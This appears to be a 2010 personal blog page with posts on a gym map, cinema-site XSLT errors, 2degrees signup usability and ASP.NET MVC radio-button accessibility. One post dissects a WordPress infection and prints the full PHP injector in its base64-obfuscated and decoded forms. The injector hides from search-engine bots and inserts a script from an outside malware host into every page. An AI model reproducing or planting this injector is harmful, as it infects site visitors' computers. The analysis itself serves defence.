Find gyms on the map

6 November 2010 by Scott

Fitness Finder is going through some changes at the moment. It’s had a map page added to help you visual locations. Try some of these examples:

If you own a gym and you’re not listed then contact Fitness Finder to get added.

Posted in Other | No Comments »

Dairy of a wordpress virus attack

3 November 2010 by Scott

Well it’s not so much a dairy but it is a break down of what was done. Recently received a call from help from a friend who’s website was not loading as their anti-virus was stopping it from loading. I went to the site and found the same thing. As I had ftp access I downloaded the entire site and then scanned it with my virus scanner and it was virus free.

Next, I opened what I thought would be the best place to start looking for an injection attack, the header include file in the current theme. I didn’t have to look far, the first line was this

<?php /**/ eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5dFpYRmhjMmh2Y0hCbGNtbHVabTh1WTI5dEwycHpMbkJvY0NJK1BDOXpZM0pwY0hRKyIpOyAgICAgIH0gICAgICByZXR1cm4gIiI7ICAgICB9ICAgIH0gICAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpeyAgICAgZnVuY3Rpb24gZ3pkZWNvZGUoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0Qyl7ICAgICAgJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RD1Ab3JkKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywzLDEpKTsgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PTEwOyAgICAgICRSQTNENTJFNTJBNDg5MzZDREUwRjUzNTZCQjA4NjUyRjI9MDsgICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjQpeyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPUB1bnBhY2soJ3YnLHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDEwLDIpKTsgICAgICAgJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQj0kUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCWzFdOyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yKyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmOCl7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjE2KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMil7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTI7ICAgICAgfSAgICAgICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9QGd6aW5mbGF0ZShAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkpOyAgICAgIGlmKCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9PT1GQUxTRSl7ICAgICAgICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9JFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QzsgICAgICB9ICAgICAgcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7ICAgICB9ICAgIH0gICAgZnVuY3Rpb24gbXJvYmgoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qil7ICAgICBIZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTsgICAgICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREU9Z3pkZWNvZGUoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qik7ICAgICAgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERSkpeyAgICAgIHJldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxcL2JvZHlbXlw+XSpcPikvc2knLGdtbCgpLiJcbiIuJyQxJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKTsgICAgIH1lbHNleyAgICAgIHJldHVybiAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFLmdtbCgpOyAgICAgfSAgICB9ICAgIG9iX3N0YXJ0KCdtcm9iaCcpOyAgIH0gIH0=”));?>

This is base64 encrypted code which is then evaluated. It’s supposed to make it hard to find via certain types of scanning as it is runtime evaluated from obfuscated code. If you decompile it you end up with this

if(function_exists(‘ob_start’)&&!isset($GLOBALS['mr_no'])){ $GLOBALS['mr_no']=1; if(!function_exists(‘mrobh’)){ if(!function_exists(‘gml’)){ function gml(){ if (!stristr($_SERVER["HTTP_USER_AGENT"],”googlebot”)&& (!stristr($_SERVER["HTTP_USER_AGENT"],”yahoo”))){ return base64_decode(“PHNjcmlwdCBzcmM9Imh0dHA6Ly9tZXFhc2hvcHBlcmluZm8uY29tL2pzLnBocCI+PC9zY3JpcHQ+”); } return “”; } } if(!function_exists(‘gzdecode’)){ function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){ $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1)); $RBE4C4D037E939226F65812885A53DAD9=10; $RA3D52E52A48936CDE0F5356BB08652F2=0; if($R30B2AB8DC1496D06B230A71D8962AF5D&4){ $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack(‘v’,substr($R5A9CF1B497502ACA23C8F611A564684C,10,2)); $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1]; $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB; } if($R30B2AB8DC1496D06B230A71D8962AF5D&8){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&16){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&2){ $RBE4C4D037E939226F65812885A53DAD9+=2; } $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9)); if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){ $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C; } return $R034AE2AB94F99CC81B389A1822DA3353; } } function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){ Header(‘Content-Encoding: none’); $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B); if(preg_match(‘/\<\/body/si’,$RA179ABD3A7B9E28C369F7B59C51B81DE)){ return preg_replace(‘/(\<\/body[^\>]*\>)/si’,gml().”\n”.’$1′,$RA179ABD3A7B9E28C369F7B59C51B81DE); }else{ return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml(); } } ob_start(‘mrobh’); } }

This makes the code more obvious but still has a lot of the code encoded again. You can see it is doing a test to make sure it is not Google’s or Yahoo’s search bot. They both scan sites to ensure that they are virus free as they put warnings on virus infected sites to stop them from being loaded by unsuspecting browsers who are stupid enough to not be virus protected.

In looking for more information it seems that this is due to lax security measures at  123-reg.co.uk. I will be recommending a move away from this host to my friend.

Back to the code however, if you keep unobfuscating it you should end up with this:

if(function_exists(‘ob_start’)&&!isset($GLOBALS['mr_no'])){
$GLOBALS['mr_no']=1;
if(!function_exists(‘mrobh’)){
if(!function_exists(‘gml’)){
function gml(){
if (!stristr($_SERVER["HTTP_USER_AGENT"],”googlebot”)&& (!stristr($_SERVER["HTTP_USER_AGENT"],”yahoo”)))
{
return “<script src=”http://meqashopperinfo.com/js.php”></script>”;
}
return “”;
}
}
if(!function_exists(‘gzdecode’))
{
function gzdecode($michael){
$mary=@ord(@substr($michael,3,1));
$tom=10;
$john=0;
if($mary&4)
{
$william=@unpack(‘v’,substr($michael,10,2));
$william=$william[1];
$tom+=2+$william;
}
if($mary&8)
{
$tom=@strpos($michael,chr(0),$tom)+1;
}
if($mary&16){
$tom=@strpos($michael,chr(0),$tom)+1;
}
if($mary&2){
$tom+=2;
}
$peter=@gzinflate(@substr($michael,$tom));
if($peter===FALSE){
$peter=$michael;
}
return $peter;
}
}

function mrobh($bob){
Header(‘Content-Encoding: none’);
$donkey=gzdecode($bob);
if(preg_match(‘/\<\/body/si’,$donkey)){
return preg_replace(‘/(\<\/body[^\>]*\>)/si’,gml().”\n”.’$1′,$donkey);
}else{
return $donkey.gml();
}
}
ob_start(‘mrobh’);
}
}

In summary it ensures that each page on the site has a link to the meqashopperinfo.com javascript library which then takes care of the rest of the effort to infect your computer.

If you’re looking, this is the simplest way to clean this virus from your system.

Moral of the story? Always run anti-virus on your local machine and host your websites, no matter how unimportant you think they are, with a reputable web host even if they do cost an extra dollar a month.

Posted in Technical | No Comments »

Event cinemas built with XSLT

2 November 2010 by Scott

Event cinemas is a new movie chain that has recently bought out all of Sky City Cinemas theatres. The first thing they did was rebuild the horrendous websites, that had existed since Village Cinemas had them built, and they’ve done a pretty reasonable job of it too. There’s a couple of usability things I’d like fixed but most of it is right (and that’s saying a lot for a movie site).

Interestingly enough, I had left a browser tab open part way through one of the booking pages last night (we had vouchers so were just checking times). This morning when I turned the computer on I was greeted with these errors within that page:

Notice the XSLT missing file paths

I’ve not seen many sites built with XSLT as the front end. I know Umbraco does and XSLT is its biggest hold back. XSLT is not a programming language or even a good scripting language when trying to manipulate text (HTML) so I’m surprised to see it used here. It’s a shame also that the rendering errors didn’t trigger off a larger error message that could be captured by a full error page as these little errors all over the page don’t look great nor are they particularly useful. However, again, in the big scheme of things it’s no big deal (I’ve seen a lot worse) and at least the page is still rendering its design correctly.

Posted in Technical | No Comments »

2 Degrees usability observations

15 August 2010 by Scott

I’m not a fan of 2degrees website. Compared to the effort they’ve put into their television adverts, the website is quite visually unappealing. Because Vodafone NZ insists on charging a ridiculous sum to have a spare sim card I have a couple of 2degrees sims that I use for the extra mobile phones I have for smart phone development. I needed to keep them topped up so I went to sign in to 2degree’s website. What I found was the typical lazy web development we seem to have become blessed with lately.

English speakers read left to right, top to bottom to they would've filled in their mobile number before getting to the signup button

English speakers read left to right, top to bottom to they would've filled in their mobile number before getting to the signup button

Here I have marked up exactly how most people would read this page. As such, I’ve already filled in my mobile number (deleted here) by the time I get to the sign up button. So, when I click signup, I would expect my number to be remembered.


2degrees usability

They've forgotten my mobile number and got the next & cancel buttons backwards

It’s trivial to carry through the mobile number through from the previous page and it’s what a good web developer would do without being asked to and it’s something a good web project manager would demand without the client asking. It’s not the clients job to know good usability, that’s the development companies job and it seems here that 2degrees has been let down by their development team.

What’s with the buttons at the bottom too? Apart from the fact the cancel button is on the wrong side, do they really need one? Is the process so complex that you need to cancel it? Would not a link to somewhere more appropriate been better? With no colour differentiation between next and cancel and the cancel being in the same place as the next should be I can imagine some users putting in their mobile number for a second time only to hit cancel by mistake further infuriating them. Why risk the chance of upsetting your users?

I continued on with the signup and it was the same thing the whole way through. The one screen I thought was the worst though was the “your details” screen. It’s already partially completed but has a load of required field asterisks that are empty. So, if you hit save, you come up with errors meaning you can’t incrementally add fields, you must fill in the whole field. This makes no sense as the form previously only had one value in it but now if you want to add anything, you must complete the entire form and most people won’t bother. Huge mistake and poor usability and exactly inline with what I’ve come to expect from 2degree’s website.

Posted in Technical | No Comments »

ASP.Net MVC RadioButton extension method and accessibility

8 November 2009 by Scott

When ASP.Net WebForms (as they’re called now) came out, the ability to make accessible websites out of the box was almost impossible. From simple mistakes such as always giving every image tag one blank space in the alternate text attribute to not providing any way of linking the standard Label tag to HTML Input tags it was an accessibility mess. Things were tidied up slowly with different releases and you could always write your own controls to render accessible content which was the solution I went with.

However it seems little has been learnt in the rush to get MVC to market. The extension method for creating radiobuttons, which is how most new developers are going to code, does not have an ID attribute input. As such, there is no simple and memorable way to connect a label to the radiobutton and give meaning to vision impaired web surfers. Whilst it’s true that you can specify an HTML attribute in one of the overloads to overwrite the ID, by not adding it as default attribute, new users are going to continue down the route of poor accessible HTML coding ad infinitum. I think it would’ve been nice if all of the RadioButton extension methods had a name and *Group* attribute to encourage intelligent thinking around the HTML being produced.

So, when you’re coding radiobuttons, make sure you pass in an ID attribute to the method so you can link your labels correctly.

<%=Html.RadioButton("apples", 5, new { id = "aFive" })%>
<label for="aFive">Five apples</label>

Posted in Technical | 2 Comments »